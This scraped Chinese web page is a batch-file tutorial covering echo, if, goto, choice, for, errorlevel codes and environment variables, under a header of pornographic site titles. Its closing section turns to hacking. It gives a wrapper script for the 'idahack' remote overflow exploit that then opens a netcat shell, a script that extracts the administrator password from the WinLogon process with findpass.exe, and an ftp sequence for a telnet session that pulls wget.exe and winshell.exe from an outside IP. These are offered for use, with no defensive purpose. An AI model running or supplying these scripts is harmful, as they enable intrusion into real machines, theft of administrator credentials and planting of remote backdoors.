午夜视频免费看_日韩三级电影网站_国产精品久久一级_亚洲一级在线播放_人妻体内射精一区二区三区_91夜夜揉人人捏人人添红杏_91福利在线导航_国产又粗又猛又黄又爽无遮挡_欧美日韩一区在线播放_中文字幕一区二区三区四区不卡 _日日夜夜精品视频免费观看_欧美韩日一区二区三区

主頁(yè) > 知識(shí)庫(kù) > bat 文件 學(xué)習(xí)使用指南

bat 文件 學(xué)習(xí)使用指南

熱門(mén)標(biāo)簽:用電話機(jī)器人取代人工 沈陽(yáng)電銷(xiāo) 無(wú)錫極信防封電銷(xiāo)卡價(jià)格 谷歌地圖標(biāo)注錯(cuò)位 外呼獲客系統(tǒng) 四川防封電銷(xiāo)卡套餐 aa專(zhuān)業(yè)電話外呼系統(tǒng) 95專(zhuān)業(yè)外呼線路是怎么回事 浙江語(yǔ)音外呼系統(tǒng)招商
首先,批處理文件是一個(gè)文本文件,這個(gè)文件的每一行都是一條DOS命令(大部分時(shí)候就好像我們?cè)贒OS提示符下執(zhí)行的命令行一樣),你可以使用DOS下的Edit或者Windows的記事本(notepad)等任何文本文件編輯工具創(chuàng)建和修改批處理文件。
  其次,批處理文件是一種簡(jiǎn)單的程序,可以通過(guò)條件語(yǔ)句(if)和流程控制語(yǔ)句(goto)來(lái)控制命令運(yùn)行的流程,在批處理中也可以使用循環(huán)語(yǔ)句(for)來(lái)循環(huán)執(zhí)行一條命令。當(dāng)然,批處理文件的編程能力與C語(yǔ)言等編程語(yǔ)句比起來(lái)是十分有限的,也是十分不規(guī)范的。批處理的程序語(yǔ)句就是一條條的DOS命令(包括內(nèi)部命令和外部命令),而批處理的能力主要取決于你所使用的命令。
  第三,每個(gè)編寫(xiě)好的批處理文件都相當(dāng)于一個(gè)DOS的外部命令,你可以把它所在的目錄放到你的 DOS搜索路徑(path)中來(lái)使得它可以在任意位置運(yùn)行。一個(gè)良好的習(xí)慣是在硬盤(pán)上建立一個(gè)bat或者batch目錄(例如C:\BATCH),然后將所有你編寫(xiě)的批處理文件放到該目錄中,這樣只要在path中設(shè)置上c:\batch,你就可以在任意位置運(yùn)行所有你編寫(xiě)的批處理程序。
  第四,在DOS和Win9x/Me系統(tǒng)下,C:盤(pán)根目錄下的AUTOEXEC.BAT批處理文件是自動(dòng)運(yùn)行批處理文件,每次系統(tǒng)啟動(dòng)時(shí)會(huì)自動(dòng)運(yùn)行該文件,你可以將系統(tǒng)每次啟動(dòng)時(shí)都要運(yùn)行的命令放入該文件中,例如設(shè)置搜索路徑,調(diào)入鼠標(biāo)驅(qū)動(dòng)和磁盤(pán)緩存,設(shè)置系統(tǒng)環(huán)境變量等。下面是一個(gè)運(yùn)行于Windows 98下的autoexec.bat的示例:
  @ECHO OFF
  PATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH
  LH SMARTDRV.EXE /X
  LH DOSKEY.COM /INSERT
  LH CTMOUSE.EXE
  SET TEMP=D:\TEMP
  SET TMP=D:\TEMP
  批處理的作用
  簡(jiǎn)單的說(shuō),批處理的作用就是自動(dòng)的連續(xù)執(zhí)行多條命令。
  這里先講一個(gè)最簡(jiǎn)單的應(yīng)用:在啟動(dòng)wps軟件時(shí),每次都必須執(zhí)行(>前面內(nèi)容表示DOS提示符):
  C:\&;cd wps
  C:\WPS>spdos
  C:\WPS>py
  C:\WPS>wbx
  C:\WPS>wps
  如果每次用WPS之前都這樣執(zhí)行一遍,您是不是覺(jué)得很麻煩呢?
  好了,用批處理,就可以實(shí)現(xiàn)將這些麻煩的操作簡(jiǎn)單化,首先我們編寫(xiě)一個(gè)runwps.bat批處理文件,內(nèi)容如下:
  @echo off
  c:
  cd\wps
  spdos
  py
  wbx
  wps
  cd\
  以后,我們每次進(jìn)入wps,只需要運(yùn)行runwps這個(gè)批處理文件即可。
  常用命令
  echo、@、call、pause、rem(小技巧:用::代替rem)是批處理文件最常用的幾個(gè)命令,我們就從他們開(kāi)始學(xué)起。
  echo 表示顯示此命令后的字符
  echo off 表示在此語(yǔ)句后所有運(yùn)行的命令都不顯示命令行本身
  @與echo off相象,但它是加在每個(gè)命令行的最前面,表示運(yùn)行時(shí)不顯示這一行的命令行(只能影響當(dāng)前行)。
  call 調(diào)用另一個(gè)批處理文件(如果不用call而直接調(diào)用別的批處理文件,那么執(zhí)行完那個(gè)批處理文件后將無(wú)法返回當(dāng)前文件并執(zhí)行當(dāng)前文件的后續(xù)命令)。
  pause 運(yùn)行此句會(huì)暫停批處理的執(zhí)行并在屏幕上顯示“Press any key to continue...”或“請(qǐng)按任意鍵繼續(xù)。。。”的提示,等待用戶按任意鍵后繼續(xù)。
  rem 表示此命令后的字符為解釋行(注釋?zhuān)粓?zhí)行,只是給自己今后參考用的(相當(dāng)于程序中的注釋?zhuān)?
  例1:用edit編輯a.bat文件,輸入下列內(nèi)容后存盤(pán)為c:\a.bat,執(zhí)行該批處理文件后可實(shí)現(xiàn):將根目錄中所有文件寫(xiě)入 a.txt中,啟動(dòng)UCDOS,進(jìn)入WPS等功能。
  批處理文件的內(nèi)容為: 命令注釋?zhuān)?
  @echo off 不顯示后續(xù)命令行及當(dāng)前命令行
  dir c:\*.* >a.txt 將c盤(pán)文件列表寫(xiě)入a.txt
  call c:\ucdos\ucdos.bat 調(diào)用ucdos
  echo 你好 顯示"你好"
  pause 暫停,等待按鍵繼續(xù)
  rem 準(zhǔn)備運(yùn)行wps 注釋?zhuān)簻?zhǔn)備運(yùn)行wps
  cd ucdos 進(jìn)入ucdos目錄
  wps 運(yùn)行wps 
  批處理文件的參數(shù)
  批處理文件還可以像C語(yǔ)言的函數(shù)一樣使用參數(shù)(相當(dāng)于DOS命令的命令行參數(shù)),這需要用到一個(gè)參數(shù)表示符“%”。
  %[1-9]表示參數(shù),參數(shù)是指在運(yùn)行批處理文件時(shí)在文件名后加的以空格(或者Tab)分隔的字符串。變量可以從%0到%9,%0表示批處理命令本身,其它參數(shù)字符串用%1到%9順序表示。
  例2:C:根目錄下有一批處理文件名為f.bat,內(nèi)容為:
  @echo off
  format %1
  如果執(zhí)行C:\&;f a:
  那么在執(zhí)行f.bat時(shí),%1就表示a:,這樣format %1就相當(dāng)于format a:,于是上面的命令運(yùn)行時(shí)實(shí)際執(zhí)行的是format a:
  例3:C:根目錄下一批處理文件名為t.bat,內(nèi)容為:
  @echo off
  type %1
  type %2
  那么運(yùn)行C:\&;t a.txt b.txt
  %1 : 表示a.txt
  %2 : 表示b.txt
  于是上面的命令將順序地顯示a.txt和b.txt文件的內(nèi)容。
  特殊命令
  if goto choice for是批處理文件中比較高級(jí)的命令,如果這幾個(gè)你用得很熟練,你就是批處理文件的專(zhuān)家啦。
  一、if 是條件語(yǔ)句,用來(lái)判斷是否符合規(guī)定的條件,從而決定執(zhí)行不同的命令。 有三種格式:
  1、if [not] "參數(shù)" == "字符串" 待執(zhí)行的命令
  參數(shù)如果等于(not表示不等,下同)指定的字符串,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。
  例:if "%1"=="a" format a:
  2、if [not] exist [路徑\]文件名 待執(zhí)行的命令
  如果有指定的文件,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。
  如: if exist c:\config.sys type c:\config.sys
  表示如果存在c:\config.sys文件,則顯示它的內(nèi)容。
  3、if errorlevel 數(shù)字> 待執(zhí)行的命令
  很多DOS程序在運(yùn)行結(jié)束后會(huì)返回一個(gè)數(shù)字值用來(lái)表示程序運(yùn)行的結(jié)果(或者狀態(tài)),通過(guò)if errorlevel命令可以判斷程序的返回值,根據(jù)不同的返回值來(lái)決定執(zhí)行不同的命令(返回值必須按照從大到小的順序排列)。如果返回值等于指定的數(shù)字,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。
  如if errorlevel 2 goto x2
  二、goto 批處理文件運(yùn)行到這里將跳到goto所指定的標(biāo)號(hào)(標(biāo)號(hào)即label,標(biāo)號(hào)用:后跟標(biāo)準(zhǔn)字符串來(lái)定義)處,goto語(yǔ)句一般與if配合使用,根據(jù)不同的條件來(lái)執(zhí)行不同的命令組。
  如:
  goto end
  :end
  echo this is the end
  標(biāo)號(hào)用“:字符串”來(lái)定義,標(biāo)號(hào)所在行不被執(zhí)行。
  三、choice 使用此命令可以讓用戶輸入一個(gè)字符(用于選擇),從而根據(jù)用戶的選擇返回不同的errorlevel,然后于if errorlevel配合,根據(jù)用戶的選擇運(yùn)行不同的命令。
  注意:choice命令為DOS或者Windows系統(tǒng)提供的外部命令,不同版本的choice命令語(yǔ)法會(huì)稍有不同,請(qǐng)用choice /?查看用法。
  choice的命令語(yǔ)法(該語(yǔ)法為Windows 2003中choice命令的語(yǔ)法,其它版本的choice的命令語(yǔ)法與此大同小異):
  CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]
  描述:
  該工具允許用戶從選擇列表選擇一個(gè)項(xiàng)目并返回所選項(xiàng)目的索引。
  參數(shù)列表:
  /C choices 指定要?jiǎng)?chuàng)建的選項(xiàng)列表。默認(rèn)列表是 "YN"。
  /N 在提示符中隱藏選項(xiàng)列表。提示前面的消息得到顯示,選項(xiàng)依舊處于啟用狀態(tài)。
  /CS 允許選擇分大小寫(xiě)的選項(xiàng)。在默認(rèn)情況下,這個(gè)工具是不分大小寫(xiě)的。
  /T timeout 做出默認(rèn)選擇之前,暫停的秒數(shù)。可接受的值是從 0 到 9999。如果指定了 0,就不會(huì)有暫停,默認(rèn)選項(xiàng)
  會(huì)得到選擇。
  /D choice 在 nnnn 秒之后指定默認(rèn)選項(xiàng)。字符必須在用 /C 選項(xiàng)指定的一組選擇中; 同時(shí),必須用 /T 指定 nnnn。
  /M text 指定提示之前要顯示的消息。如果沒(méi)有指定,工具只顯示提示。
  /? 顯示幫助消息。
  注意:
  ERRORLEVEL 環(huán)境變量被設(shè)置為從選擇集選擇的鍵索引。列出的第一個(gè)選擇返回 1,第二個(gè)選擇返回 2,等等。如果用戶按的鍵不是有效的選擇,該工具會(huì)發(fā)出警告響聲。如果該工具檢測(cè)到錯(cuò)誤狀態(tài),它會(huì)返回 255 的ERRORLEVEL 值。如果用戶按 Ctrl+Break 或 Ctrl+C 鍵,該工具會(huì)返回 0 的 ERRORLEVEL 值。在一個(gè)批程序中使用 ERRORLEVEL 參數(shù)時(shí),將參數(shù)降序排列。
  示例:
  CHOICE /?
  CHOICE /C YNC /M "確認(rèn)請(qǐng)按 Y,否請(qǐng)按 N,或者取消請(qǐng)按 C。"
  CHOICE /T 10 /C ync /CS /D y
  CHOICE /C ab /M "選項(xiàng) 1 請(qǐng)選擇 a,選項(xiàng) 2 請(qǐng)選擇 b。"
  CHOICE /C ab /N /M "選項(xiàng) 1 請(qǐng)選擇 a,選項(xiàng) 2 請(qǐng)選擇 b。"
  如果我運(yùn)行命令:CHOICE /C YNC /M "確認(rèn)請(qǐng)按 Y,否請(qǐng)按 N,或者取消請(qǐng)按 C。"
  屏幕上會(huì)顯示:
  確認(rèn)請(qǐng)按 Y,否請(qǐng)按 N,或者取消請(qǐng)按 C。 [Y,N,C]?
  例:test.bat的內(nèi)容如下(注意,用if errorlevel判斷返回值時(shí),要按返回值從高到低排列):
  @echo off
  choice /C dme /M "defrag,mem,end"
  if errorlevel 3 goto end
  if errorlevel 2 goto mem
  if errotlevel 1 goto defrag
  :defrag
  c:\dos\defrag
  goto end
  :mem
  mem
  goto end
  :end
  echo good bye
  此批處理運(yùn)行后,將顯示“defrag,mem,end[D,M,E]?” ,用戶可選擇d m e ,然后if語(yǔ)句根據(jù)用戶的選擇作出判斷,d表示執(zhí)行標(biāo)號(hào)為defrag的程序段,m表示執(zhí)行標(biāo)號(hào)為mem的程序段,e表示執(zhí)行標(biāo)號(hào)為end的程序段,每個(gè)程序段最后都以goto end將程序跳到end標(biāo)號(hào)處,然后程序?qū)@示good bye,批處理運(yùn)行結(jié)束。
  四、for 循環(huán)命令,只要條件符合,它將多次執(zhí)行同一命令。
  語(yǔ)法:
  對(duì)一組文件中的每一個(gè)文件執(zhí)行某個(gè)特定命令。
  FOR %%variable IN (set) DO command [command-parameters]
  %%variable 指定一個(gè)單一字母可替換的參數(shù)。
  (set) 指定一個(gè)或一組文件。可以使用通配符。
  command 指定對(duì)每個(gè)文件執(zhí)行的命令。
  command-parameters 為特定命令指定參數(shù)或命令行開(kāi)關(guān)。
  例如一個(gè)批處理文件中有一行:
  for %%c in (*.bat *.txt) do type %%c
  則該命令行會(huì)顯示當(dāng)前目錄下所有以bat和txt為擴(kuò)展名的文件的內(nèi)容。
  批處理示例
  1. IF-EXIST
  1)
  首先用記事本在C:\建立一個(gè)test1.bat批處理文件,文件內(nèi)容如下:
  @echo off
  IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT
  IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist
  然后運(yùn)行它:
  C:\&;TEST1.BAT
  如果C:\存在AUTOEXEC.BAT文件,那么它的內(nèi)容就會(huì)被顯示出來(lái),如果不存在,批處理就會(huì)提示你該文件不存在。
  2)
  接著再建立一個(gè)test2.bat文件,內(nèi)容如下:
  @ECHO OFF
  IF EXIST \%1 TYPE \%1
  IF NOT EXIST \%1 ECHO \%1 does not exist
  執(zhí)行:
  C:\&;TEST2 AUTOEXEC.BAT
  該命令運(yùn)行結(jié)果同上。
  說(shuō)明:
  (1) IF EXIST 是用來(lái)測(cè)試文件是否存在的,格式為
  IF EXIST [路徑+文件名] 命令
  (2) test2.bat文件中的%1是參數(shù),DOS允許傳遞9個(gè)批參數(shù)信息給批處理文件,分別為%1~%9(%0表示test2命令本身) ,這有點(diǎn)象編程中的實(shí)參和形參的關(guān)系,%1是形參,AUTOEXEC.BAT是實(shí)參。
  3) 更進(jìn)一步的,建立一個(gè)名為T(mén)EST3.BAT的文件,內(nèi)容如下:
  @echo off
  IF "%1" == "A" ECHO XIAO
  IF "%2" == "B" ECHO TIAN
  IF "%3" == "C" ECHO XIN
  如果運(yùn)行:
  C:\&;TEST3 A B C
  屏幕上會(huì)顯示:
  XIAO
  TIAN
  XIN
  如果運(yùn)行:
  C:\&;TEST3 A B
  屏幕上會(huì)顯示
  XIAO
  TIAN
  在這個(gè)命令執(zhí)行過(guò)程中,DOS會(huì)將一個(gè)空字符串指定給參數(shù)%3。
  2、IF-ERRORLEVEL
  建立TEST4.BAT,內(nèi)容如下:
  @ECHO OFF
  XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷貝失敗
  IF ERRORLEVEL 0 ECHO 成功拷貝文件
  然后執(zhí)行文件:
  C:\&;TEST4
  如果文件拷貝成功,屏幕就會(huì)顯示“成功拷貝文件”,否則就會(huì)顯示“文件拷貝失敗”。
  IF ERRORLEVEL 是用來(lái)測(cè)試它的上一個(gè)DOS命令的返回值的,注意只是上一個(gè)命令的返回值,而且返回值必須依照從大到小次序順序判斷。因此下面的批處理文件是錯(cuò)誤的:
  @ECHO OFF
  XCOPY C:\AUTOEXEC.BAT D:\
  IF ERRORLEVEL 0 ECHO 成功拷貝文件
  IF ERRORLEVEL 1 ECHO 未找到拷貝文件
  IF ERRORLEVEL 2 ECHO 用戶通過(guò)ctrl-c中止拷貝操作
  IF ERRORLEVEL 3 ECHO 預(yù)置錯(cuò)誤阻止文件拷貝操作
  IF ERRORLEVEL 4 ECHO 拷貝過(guò)程中寫(xiě)盤(pán)錯(cuò)誤
  無(wú)論拷貝是否成功,后面的:
  未找到拷貝文件
  用戶通過(guò)ctrl-c中止拷貝操作
  預(yù)置錯(cuò)誤阻止文件拷貝操作
  拷貝過(guò)程中寫(xiě)盤(pán)錯(cuò)誤
  都將顯示出來(lái)。
  以下就是幾個(gè)常用命令的返回值及其代表的意義:
  backup
  0 備份成功
  1 未找到備份文件
  2 文件共享沖突阻止備份完成
  3 用戶用ctrl-c中止備份
  4 由于致命的錯(cuò)誤使備份操作中止
  diskcomp
  0 盤(pán)比較相同
  1 盤(pán)比較不同
  2 用戶通過(guò)ctrl-c中止比較操作
  3 由于致命的錯(cuò)誤使比較操作中止
  4 預(yù)置錯(cuò)誤中止比較
  diskcopy
  0 盤(pán)拷貝操作成功
  1 非致命盤(pán)讀/寫(xiě)錯(cuò)
  2 用戶通過(guò)ctrl-c結(jié)束拷貝操作
  3 因致命的處理錯(cuò)誤使盤(pán)拷貝中止
  4 預(yù)置錯(cuò)誤阻止拷貝操作
  format
  0 格式化成功
  3 用戶通過(guò)ctrl-c中止格式化處理
  4 因致命的處理錯(cuò)誤使格式化中止
  5 在提示“proceed with format(y/n)?”下用戶鍵入n結(jié)束
  xcopy
  0 成功拷貝文件
  1 未找到拷貝文件
  2 用戶通過(guò)ctrl-c中止拷貝操作
  4 預(yù)置錯(cuò)誤阻止文件拷貝操作
  5 拷貝過(guò)程中寫(xiě)盤(pán)錯(cuò)誤
  3、IF STRING1 == STRING2
  建立TEST5.BAT,文件內(nèi)容如下:
  @echo off
  IF "%1" == "A" formAT A:
  執(zhí)行:
  C:\&;TEST5 A
  屏幕上就出現(xiàn)是否將A:盤(pán)格式化的內(nèi)容。
  注意:為了防止參數(shù)為空的情況,一般會(huì)將字符串用雙引號(hào)(或者其它符號(hào),注意不能使用保留符號(hào))括起來(lái)。
  如:if [%1]==[A] 或者 if %1*==A*
  5、GOTO
  建立TEST6.BAT,文件內(nèi)容如下:
  @ECHO OFF
  IF EXIST C:\AUTOEXEC.BAT GOTO _COPY
  GOTO _DONE
  :_COPY
  COPY C:\AUTOEXEC.BAT D:\
  :_DONE
  注意:
  (1) 標(biāo)號(hào)前是ASCII字符的冒號(hào)":",冒號(hào)與標(biāo)號(hào)之間不能有空格。
  (2) 標(biāo)號(hào)的命名規(guī)則與文件名的命名規(guī)則相同。
  (3) DOS支持最長(zhǎng)八位字符的標(biāo)號(hào),當(dāng)無(wú)法區(qū)別兩個(gè)標(biāo)號(hào)時(shí),將跳轉(zhuǎn)至最近的一個(gè)標(biāo)號(hào)。
  6、FOR
  建立C:\TEST7.BAT,文件內(nèi)容如下:
  @ECHO OFF
  FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C
  運(yùn)行:
  C:>TEST7
  執(zhí)行以后,屏幕上會(huì)將C:盤(pán)根目錄下所有以BAT、TXT、SYS為擴(kuò)展名的文件內(nèi)容顯示出來(lái)(不包括隱藏文件)。
  win2000命令行方式批處理BAT文件技巧
  文章結(jié)構(gòu)
  1. 所有內(nèi)置命令的幫助信息
  2. 環(huán)境變量的概念
  3. 內(nèi)置的特殊符號(hào)(實(shí)際使用中間注意避開(kāi))
  4. 簡(jiǎn)單批處理文件概念
  5. 附件1 tmp.txt
  6. 附件2 sample.bat
  ###########################
  1. 所有內(nèi)置命令的幫助信息
  ###########################
  ver
  cmd /?
  set /?
  rem /?
  if /?
  echo /?
  goto /?
  for /?
  shift /?
  call /?
  其他需要的常用命令
  type /?
  find /?
  findstr /?
  copy /?
  下面將所有上面的幫助輸出到一個(gè)文件
  echo ver >tmp.txt
  ver >>tmp.txt
  echo cmd /? >>tmp.txt
  cmd /? >>tmp.txt
  echo rem /? >>tmp.txt
  rem /? >>tmp.txt
  echo if /? >>tmp.txt
  if /? >>tmp.txt
  echo goto /? >>tmp.txt
  goto /? >>tmp.txt
  echo for /? >>tmp.txt
  for /? >>tmp.txt
  echo shift /? >>tmp.txt
  shift /? >>tmp.txt
  echo call /? >>tmp.txt
  call /? >>tmp.txt
  echo type /? >>tmp.txt
  type /? >>tmp.txt
  echo find /? >>tmp.txt
  find /? >>tmp.txt
  echo findstr /? >>tmp.txt
  findstr /? >>tmp.txt
  echo copy /? >>tmp.txt
  copy /? >>tmp.txt
  type tmp.txt
  #############################
  2. 環(huán)境變量的概念
  #############################
  C:\Program Files>set
  ALLUSERSPROFILE=C:\Documents and Settings\All Users
  CommonProgramFiles=C:\Program Files\Common Files
  COMPUTERNAME=FIRST
  ComSpec=C:\WINNT\system32\cmd.exe
  NUMBER_OF_PROCESSORS=1
  OS=Windows_NT
  Os2LibPath=C:\WINNT\system32\os2\dll;
  Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM
  PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
  PROCESSOR_ARCHITECTURE=x86
  PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel
  PROCESSOR_LEVEL=6
  PROCESSOR_REVISION=0605
  ProgramFiles=C:\Program Files
  PROMPT=$P$G
  SystemDrive=C:
  SystemRoot=C:\WINNT
  TEMP=C:\WINNT\TEMP
  TMP=C:\WINNT\TEMP
  USERPROFILE=C:\Documents and Settings\Default User
  windir=C:\WINNT
  path: 表示可執(zhí)行程序的搜索路徑. 我的建議是你把你的程序copy 到
  %windir%\system32\. 這個(gè)目錄里面. 一般就可以自動(dòng)搜索到.
  語(yǔ)法: copy mychenxu.exe %windir%\system32\.
  使用點(diǎn)(.) 便于一目了然
  對(duì)環(huán)境變量的引用使用(英文模式,半角)雙引號(hào)
  %windir% 變量
  %%windir%% 二次變量引用.
  我們常用的還有
  %temp% 臨時(shí)文件目錄
  %windir% 系統(tǒng)目錄
  %errorlevel% 退出代碼
  輸出文件到臨時(shí)文件目錄里面.這樣便于當(dāng)前目錄整潔.
  對(duì)有空格的參數(shù). 你應(yīng)該學(xué)會(huì)使用雙引號(hào)("") 來(lái)表示比如對(duì)porgram file文件夾操作
  C:\&;dir p*
  C:\ 的目錄
  2000-09-02 11:47 2,164 PDOS.DEF
  1999-01-03 00:47 DIR> Program Files
  1 個(gè)文件 2,164 字節(jié)
  1 個(gè)目錄 1,505,997,824 可用字節(jié)
  C:\&;cd pro*
  C:\Program Files>
  C:\&;
  C:\&;cd "Program Files"
  C:\Program Files>
  ############################################
  3. 內(nèi)置的特殊符號(hào)(實(shí)際使用中間注意避開(kāi))
  ############################################
  微軟里面內(nèi)置了下列字符不能夠在創(chuàng)建的文件名中間使用
  con nul aux \ / | || ^ > *
  You can use most characters as variable values, including white space. If you use the special characters , >, |, , or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:
  (大意: 要么你使用^作為前導(dǎo)字符表示.或者就只有使用雙引號(hào)""了)
  To create the variable value newname, type:
  set varname=new^name
  To create the variable value "newname", type:
  set varname="newname"
  The ampersand (), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.
  find "Pacific Rim" trade.txt > nwtrade.txt
  IF EXIST filename. (del filename.) ELSE echo filename. missing
  > 創(chuàng)建一個(gè)文件
  >> 追加到一個(gè)文件后面
  @ 前綴字符.表示執(zhí)行時(shí)本行在cmd里面不顯示, 可以使用 echo off關(guān)閉顯示
  ^ 對(duì)特殊符號(hào)( > )的前導(dǎo)字符. 第一個(gè)只是顯示aaa 第二個(gè)輸出文件bbb
  echo 123456 ^> aaa
  echo 1231231 > bbb
  () 包含命令
  (echo aa echo bb)
  , 和空格一樣的缺省分隔符號(hào).
  ; 注釋,表示后面為注釋
  : 標(biāo)號(hào)作用
  | 管道操作
   Usage:第一條命令 第二條命令 [ 第三條命令...]
  用這種方法可以同時(shí)執(zhí)行多條命令,而不管命令是否執(zhí)行成功
  dir c:\*.exe dir d:\*.exe dir e:\*.exe
   Usage:第一條命令 第二條命令 [ 第三條命令...]
  當(dāng)碰到執(zhí)行出錯(cuò)的命令后將不執(zhí)行后面的命令,如果一直沒(méi)有出錯(cuò)則一直執(zhí)行完所有命令;
  || Usage:第一條命令 || 第二條命令 [|| 第三條命令...]
  當(dāng)碰到執(zhí)行正確的命令后將不執(zhí)行后面的命令,如果沒(méi)有出現(xiàn)正確的命令則一直執(zhí)行完所有命令;
  常用語(yǔ)法格式
  IF [NOT] ERRORLEVEL number command para1 para2
  IF [NOT] string1==string2 command para1 para2
  IF [NOT] EXIST filename command para1 para2
  IF EXIST filename command para1 para2
  IF NOT EXIST filename command para1 para2
  IF "%1"=="" goto END
  IF "%1"=="net" goto NET
  IF NOT "%2"=="net" goto OTHER
  IF ERRORLEVEL 1 command para1 para2
  IF NOT ERRORLEVEL 1 command para1 para2
  FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
  FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k
  按照字母順序 ijklmnopq依次取參數(shù).
  eol=c - 指一個(gè)行注釋字符的結(jié)尾(就一個(gè))
  skip=n - 指在文件開(kāi)始時(shí)忽略的行數(shù)。
  delims=xxx - 指分隔符集。這個(gè)替換了空格和跳格鍵的默認(rèn)分隔符集。
  ########################
  4. 簡(jiǎn)單批處理文件概念
  ########################
  echo This is test > a.txt
  type a.txt
  echo This is test 11111 >> a.txt
  type a.txt
  echo This is test 22222 > a.txt
  type a.txt
  第二個(gè)echo是追加
  第三個(gè)echo將清空a.txt 重新創(chuàng)建 a.txt
  netstat -n | find "3389"
  這個(gè)將要列出所有連接3389的用戶的ip.
  ________________test.bat______
  @echo please care
  echo plese care 1111
  echo plese care 2222
  echo plese care 3333
  @echo please care
  @echo plese care 1111
  @echo plese care 2222
  @echo plese care 3333
  rem 不顯示注釋語(yǔ)句,本行顯示
  @rem 不顯示注釋語(yǔ)句,本行不顯示
  @if exist %windir%\system32\find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
  @if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
  _____________________________
  下面我們以具體的一個(gè)idahack程序就是ida遠(yuǎn)程溢出為例子.應(yīng)該是很簡(jiǎn)單的.
  ___________________ida.bat_____
  @rem ver 1.0
  @if NOT exist %windir%\system32\idahack.exe echo "ERROR: dont find idahack.exe"
  @if NOT exist %windir%\system32\nc.exe echo "ERROR: dont find nc.exe"
  @if "%1" =="" goto USAGE
  @if NOT "%2" =="" goto SP2
  :start
  @echo Now start ...
  @ping %1
  @echo chinese win2k:1 sp1:2 sp2:3
  idahack.exe %1 80 1 99 >%temp%\_tmp
  @echo "prog exit code [%errorlevel%] idahack.exe"
  @type %temp%\_tmp
  @find "good luck :)" %temp%\_tmp
  @echo "prog exit code [%errorlevel%] find [goog luck]"
  @if NOT errorlevel 1 nc.exe %1 99
  @goto END
  :SP2
  @idahack.exe %1 80 %2 99 %temp%\_tmp
  @type %temp%\_tmp
  @find "good luck :)" %temp%\_tmp
  @if NOT errorlevel 1 nc.exe %1 99
  @goto END
  :USAGE
  @echo Example: ida.bat IP
  @echo Example: ida.bat IP (2,3)
  :END
  _____________________ida.bat__END_______
  下面我們?cè)賮?lái)第二個(gè)文件.就是得到administrator的口令.
  大多數(shù)人說(shuō)得不到.其實(shí)是自己的沒(méi)有輸入正確的信息.
  ___________________________fpass.bat____________________________________________
  @rem ver 1.0
  @if NOT exist %windir%\system32\findpass.exe echo "ERROR: dont find findpass.exe"
  @if NOT exist %windir%\system32\pulist.exe echo "ERROR: dont find pulist.exe"
  @echo start....
  @echo ____________________________________
  @if "%1"=="" goto USAGE
  @findpass.exe %1 %2 %3 >> %temp%\_findpass.txt
  @echo "prog exit code [%errorlevel%] findpass.exe"
  @type %temp%\_findpass.txt
  @echo ________________________________Here__pass★★★★★★★★
  @ipconfig /all >>%temp%\_findpass.txt
  @goto END
  :USAGE
  @pulist.exe >%temp%\_pass.txt
  @findstr.exe /i "WINLOGON explorer internat" %temp%\_pass.txt
  @echo "Example: fpass.bat %1 %2 %3 %4 !!!"
  @echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"
  :END
  @echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "
  @echo " fpass.bat end [%errorlevel%] !"
  _________________fpass.bat___END___________________________________________________________
  還有一個(gè)就是已經(jīng)通過(guò)telnet登陸了一個(gè)遠(yuǎn)程主機(jī).怎樣上傳文件(win)
  依次在窗口輸入下面的東西. 當(dāng)然了也可以全部拷貝.Ctrl+V過(guò)去. 然后就等待吧!!
  echo open 210.64.x.4 3396>w
  echo read>>w
  echo read>>w
  echo cd winnt>>w
  echo binary>>w
  echo pwd >>w
  echo get wget.exe >>w
  echo get winshell.exe >>w
  echo get any.exe >>w
  echo quit >>w
  ftp -s:w

標(biāo)簽:連云港 廣安 迪慶 南平 興安盟 青島 常德 煙臺(tái)

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《bat 文件 學(xué)習(xí)使用指南》,本文關(guān)鍵詞  bat,文件,學(xué)習(xí),使用指南,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問(wèn)題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無(wú)關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《bat 文件 學(xué)習(xí)使用指南》相關(guān)的同類(lèi)信息!
  • 本頁(yè)收集關(guān)于bat 文件 學(xué)習(xí)使用指南的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
